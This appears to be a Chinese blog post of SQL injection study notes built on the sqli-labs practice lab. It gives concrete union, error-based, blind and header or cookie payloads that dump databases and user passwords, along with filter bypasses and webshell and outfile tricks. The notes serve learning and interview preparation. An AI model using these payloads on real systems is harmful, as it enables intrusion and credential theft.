sql注入部分总结和复现

一个端口对应一个服务

联合查询注入

所有的程序中,单双引号必须成对出现

需要从这个引号里面逃出来 在后面查询内容

?id=1' 

要查库名,表名,列名。但是联合查询要知道有多少列,所以通过order by 去查询

order by  #  通过二分法去试有多少列

知道列之后就可以用 union select 去查

union select 1,2,3--+ 

因为联合查询是前面条件为假 后面的条件才能生效。所以前面传id=-1 后面才能生效

?id=-1 union select 1,2,3

把2,3 换成数据库名

?id=-1 union select 1,user(),3--+
?id=-1 union select 1,database(),3--+

现在要查表名,因为知道存在information_schema这个库中

union select 1,table_name,3 from information_schema.tables where table_schema='security' --+   #但是这样查的是一个表名。只能显示一行,我们需要用group_concat()参数把表名整合成一行
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

联合查询一定要保证列相同 ,知道表,但是不知道列 所以要查列名

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

现在知道表,列了之后就可以查询了.就拿到管理员的密码了

union select 1,group_concat(username,0x3a,password),3 from users --+

写了正则过滤了information

这样写有漏洞可以双写information绕过

union select 1,table_name,3 from inforinformationmation schema.tables where table_schema='security'--+

但是用正则写则双写无法绕过

只有把information 替换了 sys库里面有x$schema_table_statistics 但是这里面也只有库名和表名,没有列名。所以只能进行无列名注入

利用join-using注入

通过系统关键字join可建立两表之间的内连接,通过对想要查询列名所在的表与其自身

select * from (select * from users as a join users b) as c --+

报错列名就出来了,现在用using(id),排出id关联,则爆出username

select * from (select from users as a join users b using(id))  c --+

所以现在可以查询了

如果过滤了逗号

简单注入可以使用join方法绕过

union select 1,2,3

join语句:

union select * from (select 1)a join (select 2)b join (select 3)

如果是盲注的substr(),mid(),limit

substr和mid()可以使用from for的方法解决substr(str from pos for len) //在str中从第pos位截取len长的字符mid(str from pos for len)//在str中从第pos位截取len长的字符limit可以用offset的方法绕过limit 1 offset 1使用substring函数也可以绕过
substring(str from pos) //返回字符串str的第pos个字符,索引从1开始

报错注入

前端不会打印出信息,但是可以通过MySQL报错信息把你想要的信息带入出来

常用updatexml和extractvalue两个函数

updatexml

updatexml(1,1,1)一共可以接收三个参数,报错位置在第二个参数

extractvalue

extractvalue(1,1)一共可以接收两个参数,报错位置在第二个参数·

用and连接

?id=1' and updatexml(1,user(),1)--+

用concat()连接函数

?id=1' and updatexml(1,concat('~',(select user()),'~'),1)--+

?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+

现在就和联合查询一样可以查表名列名

?id=1' and updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema='security','~'),1)--+

查列

?id=1' and updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema='security and table_name='users','~'),1)--+

查密码

?id=1' and updatexml(1,concat('~',(select group_concat(username,0x3a,password)from users),'~'),1)--+

因为xml默认32字节 所以查询出来是这样

用limit

?id=1' and updatexml(1,concat('~',(select group_concat(username,0x3a,password)from users limit 0,1),'~'),1)--+

用substring(内容,开始,结束)一段一段截取

?id=1' and updatexml(1,concat('~',(select substring(group_concat(username,0x3a,password),32,64)from users),'~'),1)--+

面试:如果报错注入输出不完整,怎么办?

①用limit一个一个输出

②用substring()函数截取

MySQL怎么得到一个shell?(outfile)

3个条件

root权限 secure_file_priv的参数需要为空,不是null 网站路径

IS6.0解析漏洞(很久的漏洞,但可能会问)

1、有新建文件夹的权限,普通用户,可以把文件夹建成xxx.asp 都可以以aip权限执行,上传图片,写一句话木马插入图片中,一访问就执行了

2、后缀解析漏洞,创建1.asp;1.jpg 如果是IS6.0就会把;1.jpg截断,然后执行1.asp

布尔盲注

页面显示真和假的就是布尔盲注

只用通过页面反馈来猜

?id=1' and ascii(substr(database(),1,1))>100--+
# 意思是把database()首字母截取出来,转换成ascii码 和100比较  这样就可以知道第一个字母是啥

时间盲注(页面没有回显)

根据if()、sleep()网页沉睡时间来判断是否猜对

IF(condition, value_if_true, value_if_false)
?id=1' and if(ascii(substr(database(),1,1)) > 100, sleep(3), 0)--+

布尔盲注和时间盲注的区别

布尔盲注页面会显示两种状态,一种为真,一种为假,当它为真时会显示一种状态,当它为假时,会显示另一种状态。那么我可以利用python脚本去判断是否为真的元素,若有,则继续输出,若无,则做另外的判断

但时间盲注页面不会有显示,所以只能用mysql中的if函数让它沉睡,如果为真,沉睡1秒或3秒,看页面停顿是否1秒或3秒,如果有停顿则为真 ,如无则为假。我靠这个payload去注入

DNSlog注入

dnslog注入原理通过子查询,将内容拼接到域名内,查询相应的dns解析记录,来获取我们想要的数据

利用场景(secure_file_prive=" ",root,my.ini) 条件苛刻

在sql注入为布尔盲注、时间盲注时,如果遇到大量的数据,注入的效率将十分低下且耗时,用sqmap还容易被waf拦截,IP被ban,这种情况就可用利用内置文件读取函数 load_file()来完成 DNSlog注入

post型注入form表单

post 传参不能用--+ 用#

先用order by 查列

如果报错不能回显,则可以用图的变化来判断真假

魔术开关一旦开启,会自动转义单双引号。魔术开关在5.2以前自动开启,5.3以前是默认关闭

密码重置 17关

当输入的用户名是数据库里面的用户名,则可以重置密码

现在就是要拿到用户名,试着输入一下

 admin1 and updatexml(1,concat(0x7e,(select user),0x7e),1)#

。想接到用户名

但是函数过滤只能接到15个字节

所以现在uname 利用不了。所以只能利用password。所以通过password然后用updatexml注入出库名,但是因为数据库里面是update 语句,是不能用updatexml注入的,所以只能用floor*函数*

floor函数

floor 函数报错细节,首先会用到四个函数rand,group by ,count,floor。因为分组时,mysql会自动创建一个虚拟表用于存信息,使用group by时,floor进行第一次计算,为0,然后表中没有值,会进行第二次计算,然后加表。再之后的加表分组过程中,如果floor第一次计算的值又是零,表中此时没有零,然后又会在计算一次,为1,此时表中已经有1了,所以会报错。

注意:只能用or 不能用and 如果用and 返回的就是假,则为0,所以数据库密码就会被修改成为0

而用or 一真一假则为真,则可以报错

并且update后面不能用and,这里是因为and 把前后当成一个整体了,判断之后返回值。

admin1'
aaa' and (select 1 from (select count(8),concat(database(),floor(rand(0) * 2))as x from information_schema.tables group by x) as a)#

并且update后面不能用and,这里是因为and 把前后当成一个整体了,判断之后返回值。

admin1'
aaa' or (select 1 from (select count(*),concat(database(),floor(rand(0) * 2))as x from information_schema.tables group by x) as a)#

用or 会报错,update语句没有执行

sql头部注入

18关 文件头注入

文件头注入

根据源码来看 用不了 uname 和passwd 根据分析就需要用到burpsuite 改http里面的head头。用burpsuite 抓就得用本地IP

改了user-agent 会出现报错

所以这里是一个注入点

改了一下用updatexml报错注入是可行的

20关从cookie 里面注入

21关有一个base64编码 然后闭合方式不同

23关

注释符被过滤了 不能注释 那就闭合

order by 2 and '1'='1'

然后就可以报错注入了

二次注入

二次注入可以理解为先将恶意数据插入到数据库,之后服务器从数据库取出恶意数据,未经过滤就直接拼接SQL语句进行查询而导致的漏洞

第一次注册用户存的时候是没有漏洞的。第二次修改用户密码从数据库拿信息的时候是存在漏洞的。那么如果知道用户名,就可以修改用户名的密码了。并且转义符也没有入库

那我不知道管理员的用户名时,我也要去利用这个,报错注入拿到管理员用户名。然后再进行改密码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/392546.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Cartopy简介和安装

Cartopy 是一个开源免费的第三方 Python 扩展包,由英国气象办公室的科学家们开发,支持 Python 2.7 和 Python 3,致力于使用最简单直观的方式生成地图,并提供对 matplotlib 友好的协作接口。初学Cartopy,欢迎指正&#…

算法回忆录(3)

11. 假设有7个物品&#xff0c;它们的重量和价值如下表所示。若这些物品均不能被分割&#xff0c;且背包容量M&#xff1d;150&#xff0c;设计算法求解怎么装才能使得获取的价值最大&#xff1f;请写出伪代码。 #include <stdio.h>#define MAX_ITEMS 100 #define …

新手小白嵌入式单片机教程,ESP32

1.什么是ESP32。 ESP32是一款由乐鑫信息科技&#xff08;Espressif Systems&#xff09;推出的高度集成的低功耗系统级芯片&#xff08;SoC&#xff09;&#xff0c;它结合了双核处理器、无线通信、低功耗特性和丰富的外设&#xff0c;特别适用于各种物联网&#xff08;IoT&am…

Robot Operating System——深度解析单线程执行器(SingleThreadedExecutor)执行逻辑

大纲 创建SingleThreadedExecutor新增Nodeadd_nodetrigger_entity_recollectcollect_entities 自旋等待get_next_executablewait_for_workget_next_ready_executableTimerSubscriptionServiceClientWaitableAnyExecutable execute_any_executable 参考资料 在ROS2中&#xff0c…

python 爬虫入门实战——爬取维基百科“百科全书”词条页面内链

1. 简述 本次爬取维基百科“百科全书”词条页面内链&#xff0c;仅发送一次请求&#xff0c;获取一个 html 页面&#xff0c;同时不包含应对反爬虫的知识&#xff0c;仅包含最基础的网页爬取、数据清洗、存储为 csv 文件。 爬取网址 url 为 “https://zh.wikipedia.org/wiki/…

数据结构:基于顺序表实现通讯录系统(含源码)

目录 一、前言 二、各个功能的实现 2.1 初始化通讯录 2.2 添加通讯录数据 2.3 查找通讯录数据 2.4 删除通讯录数据 2.5 修改通讯录数据 2.6 展示通讯录数据​编辑 2.7 销毁通讯录数据 三、添加菜单和测试 四、完整源码 sxb.h sxb.c contact.h contact.c test.c 一、前…

【隐私计算篇】混淆电路之深入浅出

入门隐私计算的阶段&#xff0c;一般都会涉及对于混淆电路的学习&#xff0c;这是因为混淆电路是多方安全计算中的基础密码原语&#xff0c;也是隐私保护中重要的技术。为了帮助更好地理解混淆电路的原理&#xff0c;今天对其进行原理以及相关优化手段进行解析和分享。 1. 混淆…

不同角色路由权限配置(六)

一、启用方式 配置开启config/config.ts。同时需要 src/access.ts 提供权限配置 export default {access: {},// access 插件依赖 initial State 所以需要同时开启initialState: {}, };这里以扩展的路由配置为例&#xff0c;配置只有admin权限才能查看的页面 1、在src/acces…

前端web开发HTML+CSS3+移动web(0基础,超详细)——第3天

目录 一&#xff0c;列表-无序和有序的定义列表 二&#xff0c;表格-基本使用与表格结构标签 三&#xff0c;合并单元格 四&#xff0c;表单-input标签 五&#xff0c;表单-下拉菜单 六&#xff0c;表单-文本域 七&#xff0c;表单-label标签 八&#xff0c;表单-按钮 …

【已解决】页面操作系统功能,诡异报错500nginx错误

【已解决】页面操作系统功能&#xff0c;诡异报错500nginx错误&#xff0c;后台没有任何报错信息 不知道啥原因 清理了浏览器缓存 也没有效果 还有一个表现情况&#xff0c;同样的操作&#xff0c;有时可以又是不行 因为报错ng的代理问题&#xff0c;检查了ng配置 后续经过同…

【C/C++】C语言和C++实现Stack(栈)对比

我们初步了解了C&#xff0c;也用C语言实现过栈&#xff0c;就我们当前所更新过的有关C学习内容以栈为例子&#xff0c;来简单对比一下C语言和C。 1.C中栈的实现 栈的C语言实现在【数据结构】栈的概念、结构和实现详解-CSDN博客 &#xff0c;下面是C实现的栈&#xff0c; 在St…

OD C卷 - 多线段数据压缩

多段 线 数据压缩 &#xff08;200&#xff09; 如图中每个方格为一个像素&#xff08;i&#xff0c;j&#xff09;&#xff0c;线的走向只能水平、垂直、倾斜45度&#xff1b;图中线段表示为(2, 8)、&#xff08;3,7&#xff09;、&#xff08;3, 6&#xff09;、&#xff08…

学习STM32(2)--STM32单片机GPIO应用

目录 1 引 言 2 实验目的 3 实验内容 3.1掌握STM32F103的GPIO控制 3.1.1 GPIO的分组 3.1.2 GPIO的常用功能 3.1.3 STM32单片机GPIO位结构 3.1.4 STM32单片机GPIO工作模式 3.1.5 STM32的GPIO 输出-点亮LED编程要点 使用GPIO时&#xff0c;按下面步骤进行&#xff1…

部署服务器项目及发布

当技术总监直接丢给我一个服务器账号密码时&#xff0c;我该怎么完成映射本机&#xff1b;配置网关&#xff1b;配置代理和发布项目呢&#xff1f; 我使用的是putty远程登录到服务器 输入ip后&#xff0c;点open 输入账号密码 登录的账号如果不是root&#xff1b;使用sudo su…

sqllab靶场练习第1~15关

1、第一关 代码解析 if(isset($_GET[id]))//判断获取的id字段是否为空 { $id$_GET[id]; //logging the connection parameters to a file for analysis. $fpfopen(result.txt,a);//打开这个文件&#xff0c;记录操作的日志 fwrite($fp,ID:.$id."\n"); fclose($fp);…

【C++高阶】深入理解C++异常处理机制:从try到catch的全面解析

&#x1f4dd;个人主页&#x1f339;&#xff1a;Eternity._ ⏩收录专栏⏪&#xff1a;C “ 登神长阶 ” &#x1f921;往期回顾&#x1f921;&#xff1a;Lambda表达式 &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; ❀C异常 &#x1f4d2;1. C异常概念…

WPF学习(3)- WrapPanel控件(瀑布流布局)+DockPanel控件(停靠布局)

WrapPanel控件&#xff08;瀑布流布局&#xff09; WrapPanel控件表示将其子控件从左到右的顺序排列&#xff0c;如果第一行显示不了&#xff0c;则自动换至第二行&#xff0c;继续显示剩余的子控件。我们来看看它的结构定义&#xff1a; public class WrapPanel : Panel {pub…

【前端】(仅思路)如何在前端实现一个fc手柄,将手机作为游戏手柄设备。

文章目录 背景界面demo原型图&#xff08;没错&#xff0c;就是它&#xff0c;童年回忆&#xff09; 遇到的问题最终后端demo(甚至比前端逻辑更简单) 背景 突发奇想&#xff0c;想要在前端实现一个fc游戏手柄&#xff0c;然后控制电脑的nes模拟器玩玩魂斗罗。 思路很简单&…

【编程笔记】解决移动硬盘无法访问文件或目录损坏且无法读取

解决移动硬盘无法访问文件或目录损坏且无法读取 只解决&#xff1a;移动硬盘无法访问文件或目录损坏且无法读取 问题 由于频繁下载数据&#xff0c;多次安装虚拟机导致磁盘无法被系统识别。磁盘本身是好的&#xff0c;只是不能被识别&#xff0c;如果将磁盘格式化&#xff0c…

Chainlit快速实现AI对话应用1 分钟内实现聊天数据的持久化保存

概述 默认情况下&#xff0c;Chainlit 应用不会保留其生成的聊天和元素。即网页一刷新&#xff0c;所有的聊天记录&#xff0c;页面上的所有聊天记录都会消失。但是&#xff0c;存储和利用这些数据的能力可能是您的项目或组织的重要组成部分。 一旦启用&#xff0c;数据持久性…